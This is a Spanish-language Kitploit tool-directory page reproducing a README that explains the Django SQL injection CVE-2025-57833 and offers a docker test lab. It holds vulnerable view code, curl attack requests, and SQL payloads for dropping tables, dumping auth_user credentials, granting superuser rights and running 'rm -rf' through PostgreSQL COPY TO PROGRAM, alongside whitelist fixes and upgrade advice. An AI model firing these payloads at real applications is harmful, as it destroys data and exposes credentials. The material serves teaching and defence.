Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-57833 — Hemos configurado un entorno para probar CVE-2025-57833. Este entorno fue construido usando IA, por lo que está sujeto a modificaciones continuas. | Kitploit
Herramientas/GitHubGitHub/mkway/cve-2025-57833
Análisis EstáticoAnálisis de VulnerabilidadesAnálisis de CódigoExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y Educación
GitHubmkway/cve-2025-57833

CVE-2025-57833

Hemos configurado un entorno para probar CVE-2025-57833. Este entorno fue construido usando IA, por lo que está sujeto a modificaciones continuas.

Ver Repositorio
212hace 1 añoAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2025-57833: Vulnerabilidad de Inyección SQL en Django

Este repositorio demuestra y explica la CVE-2025-57833, una vulnerabilidad crítica de inyección SQL en el ORM de Django que afecta las versiones 4.2 anteriores a 4.2.24, 5.1 anteriores a 5.1.12 y 5.2 anteriores a 5.2.6.

🚨 Resumen de la vulnerabilidad

Puntuación CVSS: 9.8 (Crítica)
Impacto: Inyección SQL que lleva a Ejecución Remota de Código (RCE)
Autenticación requerida: Ninguna (Ataque no autenticado)


📚 Comprendiendo el Contexto

¿Qué es Django ORM?

El ORM de Django (Mapeo Objeto-Relacional) permite a los desarrolladores interactuar con bases de datos usando código Python en lugar de SQL puro. Por ejemplo:

root@kitploit:~
# Instead of raw SQL: SELECT * FROM books WHERE author_id = 1
books = Book.objects.filter(author_id=1)

¿Qué es FilteredRelation?

FilteredRelation es una característica de Django que permite unir tablas con condiciones de filtrado adicionales:

root@kitploit:~
# Join books with authors, but only active authors
Book.objects.annotate(
    active_author=FilteredRelation('author', condition=Q(author__is_active=True))
).select_related('active_author')

¿Qué son los Nombres de Campo Dinámicos?

A veces los desarrolladores necesitan crear nombres de campo dinámicamente basados en la entrada del usuario:

root@kitploit:~
# User wants to search by different criteria
search_field = request.POST.get('field_name')  # User input: "title", "author", etc.

# Dynamic field creation using **kwargs
queryset.annotate(**{
    search_field: FilteredRelation('some_relation')
})

🎯 La Vulnerabilidad Explicada

Cómo Ocurre la Vulnerabilidad

La vulnerabilidad ocurre cuando se usa entrada de usuario sin sanitizar como claves de diccionario en annotate() o alias() con FilteredRelation. Aquí está el proceso paso a paso:

Paso 1: Patrón de Código Vulnerable

root@kitploit:~
# This is what vulnerable applications do:
user_input = request.POST.get('search_field')  # Attacker controls this

# The vulnerability is here - user input becomes SQL column alias
queryset.annotate(**{
    user_input: FilteredRelation("author")  # ❌ DANGEROUS
})

Paso 2: Entrada Maliciosa

Un atacante envía entrada maliciosa:

root@kitploit:~
user_input = "malicious_field'; DROP TABLE users; --"

Paso 3: Generación de SQL

Django genera SQL como esto:

root@kitploit:~
SELECT ... 
FROM book 
LEFT OUTER JOIN author AS malicious_field'; DROP TABLE users; -- ON ...

Paso 4: Inyección SQL Ejecutada

El SQL malicioso se ejecuta, potencialmente:

  • Eliminando tablas
  • Extrayendo datos sensibles
  • Ejecutando comandos arbitrarios (RCE)

🔍 Escenario de Ataque Real

Patrón Vulnerable Común

Muchas aplicaciones Django tienen funcionalidad de búsqueda donde los usuarios pueden elegir qué campo buscar:

root@kitploit:~
# views.py - Common vulnerable pattern
def search_books(request):
    search_field = request.POST.get('search_by')  # "author", "title", "category"
    search_value = request.POST.get('search_value')
    
    # Developer thinks this is safe - IT'S NOT!
    books = Book.objects.annotate(**{
        f"filtered_{search_field}": FilteredRelation(
            search_field, 
            condition=Q(**{f"{search_field}__name__icontains": search_value})
        )
    })
    
    return JsonResponse({'books': list(books.values())})

Vector de Ataque

root@kitploit:~
# Attacker sends this POST request:
curl -X POST http://example.com/search/ \
  -d "search_by=author'; DROP TABLE auth_user; --" \
  -d "search_value=anything"

⚖️ Código Seguro vs Vulnerable

❌ Código Vulnerable

root@kitploit:~
# NEVER DO THIS - Direct user input as dictionary key
user_field = request.POST.get('field')
queryset.annotate(**{
    user_field: FilteredRelation('relation')  # SQL Injection!
})

✅ Código Seguro - Enfoque de Lista Blanca

root@kitploit:~
# SAFE - Use whitelist validation
ALLOWED_FIELDS = ['author', 'category', 'publisher']

user_field = request.POST.get('field')
if user_field not in ALLOWED_FIELDS:
    raise ValidationError("Invalid field")

queryset.annotate(**{
    user_field: FilteredRelation('relation')  # Now safe
})

✅ Código Seguro - Nombres de Campo Estáticos

root@kitploit:~
# SAFE - Use static field names
search_type = request.POST.get('search_type')
if search_type == 'author':
    queryset.annotate(filtered_author=FilteredRelation('author'))
elif search_type == 'category':
    queryset.annotate(filtered_category=FilteredRelation('category'))

💥 Escalada de Impacto: De Inyección SQL a RCE

1. Divulgación de Información

root@kitploit:~
-- Extract sensitive data
'; SELECT username, password FROM auth_user; --

2. Manipulación de Base de Datos

root@kitploit:~
-- Modify data
'; UPDATE auth_user SET is_superuser = true WHERE id = 1; --

3. Ejecución Remota de Código (PostgreSQL)

root@kitploit:~
-- Execute system commands (PostgreSQL with appropriate extensions)
'; COPY (SELECT '') TO PROGRAM 'rm -rf /tmp/*'; --

🛡️ Estrategias de Mitigación

1. Validación de Entrada (Recomendado)

root@kitploit:~
ALLOWED_FIELDS = ['author', 'title', 'category', 'publisher']

def safe_annotate(queryset, field_name):
    if field_name not in ALLOWED_FIELDS:
        raise ValidationError(f"Field '{field_name}' not allowed")
    
    return queryset.annotate(**{
        field_name: FilteredRelation('relation')
    })

2. Evitar Nombres de Campo Dinámicos

root@kitploit:~
# Instead of dynamic field names, use conditional logic
def get_filtered_queryset(search_type):
    if search_type == 'author':
        return queryset.annotate(result=FilteredRelation('author'))
    elif search_type == 'category':
        return queryset.annotate(result=FilteredRelation('category'))
    else:
        raise ValidationError("Invalid search type")

3. Actualizar Django

Actualiza a la última versión de Django:

  • Django 4.2.24+
  • Django 5.1.12+
  • Django 5.2.6+

🧪 Prueba de Esta Vulnerabilidad

Este repositorio incluye un entorno de prueba completo:

root@kitploit:~
# Run the vulnerable Django application
docker-compose up

# Test the vulnerability
curl -X POST http://localhost:8000/api/vulnerable-search/ \
  -H "Content-Type: application/json" \
  -d '{"search_field": "malicious\"; DROP TABLE IF EXISTS test; --"}'

Para instrucciones detalladas de prueba, consulta document/README.md.


📖 Referencias

  • Aviso de Seguridad de Django: Se publicaron versiones de seguridad de Django: 5.2.6, 5.1.12 y 4.2.24
  • Análisis Técnico: Django: RCE de 0 clics no autenticado e Inyección SQL usando configuración predeterminada por Eyal Gabay
  • Detalles de la CVE: CVE-2025-57833 Inyección SQL en Django

⚠️ Descargo de Responsabilidad

Este repositorio es únicamente con fines educativos y de seguridad defensiva. No uses esta información para atacar sistemas que no poseas o no tengas permiso para probar.

Descargar herramienta